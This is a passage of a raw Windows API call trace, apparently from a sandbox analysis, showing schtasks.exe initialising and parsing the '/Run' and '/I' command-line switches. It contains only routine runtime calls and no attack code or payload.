= "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 770 os_tid = 0xe70 [0103.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bfb5c | out: lpSystemTimeAsFileTime=0x1bfb5c*(dwLowDateTime=0xe0f27ae0, dwHighDateTime=0x1d5d06a)) [0103.162] GetCurrentProcessId () returned 0xe6c [0103.162] GetCurrentThreadId () returned 0xe70 [0103.162] GetTickCount () returned 0x11617f4 [0103.162] RtlQueryPerformanceCounter () returned 0x1 [0103.163] GetModuleHandleA (lpModuleName=0x0) returned 0x9e0000 [0103.163] __set_app_type (_Type=0x1) [0103.163] __p__fmode () returned 0x76be31f4 [0103.163] __p__commode () returned 0x76be31fc [0103.163] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x9f7881) returned 0x0 [0103.163] __wgetmainargs (in: _Argc=0xa09e6c, _Argv=0xa09e74, _Env=0xa09e70, _DoWildCard=0, _StartInfo=0xa09e80 | out: _Argc=0xa09e6c, _Argv=0xa09e74, _Env=0xa09e70) returned 0 [0103.164] _onexit (_Func=0xa00fe2) returned 0xa00fe2 [0103.164] _onexit (_Func=0xa00ff3) returned 0xa00ff3 [0103.164] _onexit (_Func=0xa01002) returned 0xa01002 [0103.164] _onexit (_Func=0xa0101e) returned 0xa0101e [0103.164] _onexit (_Func=0xa0103a) returned 0xa0103a [0103.165] _onexit (_Func=0xa01056) returned 0xa01056 [0103.165] _onexit (_Func=0xa01072) returned 0xa01072 [0103.165] _onexit (_Func=0xa0108e) returned 0xa0108e [0103.165] _onexit (_Func=0xa010aa) returned 0xa010aa [0103.165] _onexit (_Func=0xa010c6) returned 0xa010c6 [0103.165] _onexit (_Func=0xa010e2) returned 0xa010e2 [0103.165] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0103.165] WinSqmIsOptedIn () returned 0x0 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574ab8 [0103.166] SetLastError (dwErrCode=0x0) [0103.166] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0103.166] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0103.166] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0103.166] VerifyVersionInfoW (in: lpVersionInformation=0x1bf5d4, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x1bf5d4) returned 1 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574ad0 [0103.166] lstrlenW (lpString="") returned 0 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x2) returned 0x574ea0 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574eb0 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574ae8 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574ed0 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574ef0 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574f10 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574f30 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574b00 [0103.166] GetProcessHeap () returned 0x560000 [0103.166] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574f50 [0103.166] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574f70 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574f90 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574fb0 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574b18 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x574fd0 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575008 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575028 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575048 [0103.167] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.167] SetLastError (dwErrCode=0x0) [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575068 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575088 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x5750a8 [0103.167] GetProcessHeap () returned 0x560000 [0103.167] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x5750c8 [0103.167] GetProcessHeap () returned 0x560000 [0103.168] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x5750e8 [0103.168] GetProcessHeap () returned 0x560000 [0103.168] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574b30 [0103.168] _memicmp (_Buf1=0x574b30, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.168] GetProcessHeap () returned 0x560000 [0103.168] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x208) returned 0x575970 [0103.168] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x575970, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0103.168] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x74320000 [0103.169] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0103.169] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0103.169] GetProcessHeap () returned 0x560000 [0103.169] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x74e) returned 0x575b80 [0103.170] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0103.170] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x575b80 | out: lpData=0x575b80) returned 1 [0103.170] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0103.170] VerQueryValueW (in: pBlock=0x575b80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf6dc, puLen=0x1bf6e0 | out: lplpBuffer=0x1bf6dc*=0x575f1c, puLen=0x1bf6e0) returned 1 [0103.171] _memicmp (_Buf1=0x574b30, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.171] _vsnwprintf (in: _Buffer=0x575970, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf6c4 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0103.171] VerQueryValueW (in: pBlock=0x575b80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf6ec, puLen=0x1bf6e8 | out: lplpBuffer=0x1bf6ec*=0x575d48, puLen=0x1bf6e8) returned 1 [0103.171] lstrlenW (lpString="schtasks.exe") returned 12 [0103.171] lstrlenW (lpString="schtasks.exe") returned 12 [0103.171] lstrlenW (lpString=".EXE") returned 4 [0103.171] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0103.172] lstrlenW (lpString="schtasks.exe") returned 12 [0103.172] lstrlenW (lpString=".EXE") returned 4 [0103.172] _memicmp (_Buf1=0x574b30, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.172] lstrlenW (lpString="schtasks") returned 8 [0103.172] GetProcessHeap () returned 0x560000 [0103.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575128 [0103.172] GetProcessHeap () returned 0x560000 [0103.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575148 [0103.172] GetProcessHeap () returned 0x560000 [0103.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575168 [0103.172] GetProcessHeap () returned 0x560000 [0103.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575188 [0103.172] GetProcessHeap () returned 0x560000 [0103.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574b90 [0103.172] _memicmp (_Buf1=0x574b90, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.172] GetProcessHeap () returned 0x560000 [0103.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0xa0) returned 0x576560 [0103.172] GetProcessHeap () returned 0x560000 [0103.173] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x5751a8 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x5751c8 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x5751e8 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574ba8 [0103.173] _memicmp (_Buf1=0x574ba8, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x200) returned 0x576608 [0103.173] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x576608, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0103.173] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x30) returned 0x576810 [0103.173] _vsnwprintf (in: _Buffer=0x576560, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf6c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575b80) returned 1 [0103.173] GetProcessHeap () returned 0x560000 [0103.173] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575b80) returned 0x74e [0103.173] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575b80 | out: hHeap=0x560000) returned 1 [0103.173] SetLastError (dwErrCode=0x0) [0103.173] GetThreadLocale () returned 0x409 [0103.173] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.173] lstrlenW (lpString="?") returned 1 [0103.173] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] lstrlenW (lpString="create") returned 6 [0103.174] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] lstrlenW (lpString="delete") returned 6 [0103.174] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] lstrlenW (lpString="query") returned 5 [0103.174] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] lstrlenW (lpString="change") returned 6 [0103.174] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] lstrlenW (lpString="run") returned 3 [0103.174] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] lstrlenW (lpString="end") returned 3 [0103.174] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] lstrlenW (lpString="showsid") returned 7 [0103.174] GetThreadLocale () returned 0x409 [0103.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.174] SetLastError (dwErrCode=0x0) [0103.174] SetLastError (dwErrCode=0x0) [0103.174] lstrlenW (lpString="/Run") returned 4 [0103.174] lstrlenW (lpString="-/") returned 2 [0103.174] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0103.174] lstrlenW (lpString="?") returned 1 [0103.174] lstrlenW (lpString="?") returned 1 [0103.174] GetProcessHeap () returned 0x560000 [0103.174] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574bc0 [0103.174] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.174] GetProcessHeap () returned 0x560000 [0103.174] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0xa) returned 0x574bd8 [0103.174] lstrlenW (lpString="Run") returned 3 [0103.174] GetProcessHeap () returned 0x560000 [0103.174] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574bf0 [0103.174] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.175] GetProcessHeap () returned 0x560000 [0103.175] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0xe) returned 0x574c08 [0103.175] _vsnwprintf (in: _Buffer=0x574bd8, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|?|") returned 3 [0103.175] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|Run|") returned 5 [0103.175] lstrlenW (lpString="|?|") returned 3 [0103.175] lstrlenW (lpString="|Run|") returned 5 [0103.175] SetLastError (dwErrCode=0x490) [0103.175] lstrlenW (lpString="create") returned 6 [0103.175] lstrlenW (lpString="create") returned 6 [0103.175] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.175] GetProcessHeap () returned 0x560000 [0103.175] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574bd8) returned 1 [0103.175] GetProcessHeap () returned 0x560000 [0103.175] RtlReAllocateHeap (Heap=0x560000, Flags=0xc, Ptr=0x574bd8, Size=0x14) returned 0x575208 [0103.175] lstrlenW (lpString="Run") returned 3 [0103.175] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.175] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|create|") returned 8 [0103.175] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|Run|") returned 5 [0103.175] lstrlenW (lpString="|create|") returned 8 [0103.175] lstrlenW (lpString="|Run|") returned 5 [0103.175] StrStrIW (lpFirst="|create|", lpSrch="|Run|") returned 0x0 [0103.175] SetLastError (dwErrCode=0x490) [0103.175] lstrlenW (lpString="delete") returned 6 [0103.175] lstrlenW (lpString="delete") returned 6 [0103.175] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.175] lstrlenW (lpString="Run") returned 3 [0103.175] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.175] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|delete|") returned 8 [0103.175] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|Run|") returned 5 [0103.175] lstrlenW (lpString="|delete|") returned 8 [0103.175] lstrlenW (lpString="|Run|") returned 5 [0103.175] StrStrIW (lpFirst="|delete|", lpSrch="|Run|") returned 0x0 [0103.176] SetLastError (dwErrCode=0x490) [0103.176] lstrlenW (lpString="query") returned 5 [0103.176] lstrlenW (lpString="query") returned 5 [0103.176] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.176] lstrlenW (lpString="Run") returned 3 [0103.176] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.176] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|query|") returned 7 [0103.176] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|Run|") returned 5 [0103.176] lstrlenW (lpString="|query|") returned 7 [0103.176] lstrlenW (lpString="|Run|") returned 5 [0103.176] StrStrIW (lpFirst="|query|", lpSrch="|Run|") returned 0x0 [0103.176] SetLastError (dwErrCode=0x490) [0103.176] lstrlenW (lpString="change") returned 6 [0103.176] lstrlenW (lpString="change") returned 6 [0103.176] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.176] lstrlenW (lpString="Run") returned 3 [0103.176] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.176] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|change|") returned 8 [0103.176] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|Run|") returned 5 [0103.176] lstrlenW (lpString="|change|") returned 8 [0103.176] lstrlenW (lpString="|Run|") returned 5 [0103.176] StrStrIW (lpFirst="|change|", lpSrch="|Run|") returned 0x0 [0103.176] SetLastError (dwErrCode=0x490) [0103.176] lstrlenW (lpString="run") returned 3 [0103.176] lstrlenW (lpString="run") returned 3 [0103.176] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.176] lstrlenW (lpString="Run") returned 3 [0103.176] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.176] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|run|") returned 5 [0103.176] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|Run|") returned 5 [0103.176] lstrlenW (lpString="|run|") returned 5 [0103.176] lstrlenW (lpString="|Run|") returned 5 [0103.176] StrStrIW (lpFirst="|run|", lpSrch="|Run|") returned="|run|" [0103.176] SetLastError (dwErrCode=0x0) [0103.177] SetLastError (dwErrCode=0x0) [0103.177] SetLastError (dwErrCode=0x0) [0103.177] lstrlenW (lpString="/I") returned 2 [0103.177] lstrlenW (lpString="-/") returned 2 [0103.177] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0103.177] lstrlenW (lpString="?") returned 1 [0103.177] lstrlenW (lpString="?") returned 1 [0103.177] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.177] lstrlenW (lpString="I") returned 1 [0103.177] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.177] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|?|") returned 3 [0103.177] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.177] lstrlenW (lpString="|?|") returned 3 [0103.177] lstrlenW (lpString="|I|") returned 3 [0103.177] StrStrIW (lpFirst="|?|", lpSrch="|I|") returned 0x0 [0103.177] SetLastError (dwErrCode=0x490) [0103.177] lstrlenW (lpString="create") returned 6 [0103.177] lstrlenW (lpString="create") returned 6 [0103.177] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.177] lstrlenW (lpString="I") returned 1 [0103.177] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.177] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|create|") returned 8 [0103.177] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.177] lstrlenW (lpString="|create|") returned 8 [0103.177] lstrlenW (lpString="|I|") returned 3 [0103.177] StrStrIW (lpFirst="|create|", lpSrch="|I|") returned 0x0 [0103.177] SetLastError (dwErrCode=0x490) [0103.177] lstrlenW (lpString="delete") returned 6 [0103.177] lstrlenW (lpString="delete") returned 6 [0103.177] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.177] lstrlenW (lpString="I") returned 1 [0103.177] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.178] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|delete|") returned 8 [0103.178] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.178] lstrlenW (lpString="|delete|") returned 8 [0103.178] lstrlenW (lpString="|I|") returned 3 [0103.178] StrStrIW (lpFirst="|delete|", lpSrch="|I|") returned 0x0 [0103.178] SetLastError (dwErrCode=0x490) [0103.178] lstrlenW (lpString="query") returned 5 [0103.178] lstrlenW (lpString="query") returned 5 [0103.178] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.178] lstrlenW (lpString="I") returned 1 [0103.178] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.178] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|query|") returned 7 [0103.178] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.178] lstrlenW (lpString="|query|") returned 7 [0103.178] lstrlenW (lpString="|I|") returned 3 [0103.178] StrStrIW (lpFirst="|query|", lpSrch="|I|") returned 0x0 [0103.178] SetLastError (dwErrCode=0x490) [0103.178] lstrlenW (lpString="change") returned 6 [0103.178] lstrlenW (lpString="change") returned 6 [0103.178] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.178] lstrlenW (lpString="I") returned 1 [0103.178] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.178] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|change|") returned 8 [0103.178] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.178] lstrlenW (lpString="|change|") returned 8 [0103.178] lstrlenW (lpString="|I|") returned 3 [0103.178] StrStrIW (lpFirst="|change|", lpSrch="|I|") returned 0x0 [0103.178] SetLastError (dwErrCode=0x490) [0103.178] lstrlenW (lpString="run") returned 3 [0103.178] lstrlenW (lpString="run") returned 3 [0103.178] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.178] lstrlenW (lpString="I") returned 1 [0103.178] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.179] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|run|") returned 5 [0103.179] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.179] lstrlenW (lpString="|run|") returned 5 [0103.179] lstrlenW (lpString="|I|") returned 3 [0103.179] StrStrIW (lpFirst="|run|", lpSrch="|I|") returned 0x0 [0103.179] SetLastError (dwErrCode=0x490) [0103.179] lstrlenW (lpString="end") returned 3 [0103.179] lstrlenW (lpString="end") returned 3 [0103.179] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.179] lstrlenW (lpString="I") returned 1 [0103.179] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.179] _vsnwprintf (in: _Buffer=0x575208, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|end|") returned 5 [0103.179] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.179] lstrlenW (lpString="|end|") returned 5 [0103.179] lstrlenW (lpString="|I|") returned 3 [0103.179] StrStrIW (lpFirst="|end|", lpSrch="|I|") returned 0x0 [0103.179] SetLastError (dwErrCode=0x490) [0103.179] lstrlenW (lpString="showsid") returned 7 [0103.179] lstrlenW (lpString="showsid") returned 7 [0103.179] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.179] GetProcessHeap () returned 0x560000 [0103.179] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575208) returned 1 [0103.179] GetProcessHeap () returned 0x560000 [0103.179] RtlReAllocateHeap (Heap=0x560000, Flags=0xc, Ptr=0x575208, Size=0x16) returned 0x575228 [0103.179] lstrlenW (lpString="I") returned 1 [0103.179] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.179] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|showsid|") returned 9 [0103.179] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|I|") returned 3 [0103.179] lstrlenW (lpString="|showsid|") returned 9 [0103.179] lstrlenW (lpString="|I|") returned 3 [0103.180] StrStrIW (lpFirst="|showsid|", lpSrch="|I|") returned 0x0 [0103.180] SetLastError (dwErrCode=0x490) [0103.180] SetLastError (dwErrCode=0x490) [0103.180] SetLastError (dwErrCode=0x0) [0103.180] lstrlenW (lpString="/I") returned 2 [0103.180] StrChrIW (lpStart="/I", wMatch=0x3a) returned 0x0 [0103.180] SetLastError (dwErrCode=0x490) [0103.180] SetLastError (dwErrCode=0x0) [0103.180] lstrlenW (lpString="/I") returned 2 [0103.180] GetProcessHeap () returned 0x560000 [0103.180] RtlAllocateHeap (HeapHandle=0x560000, 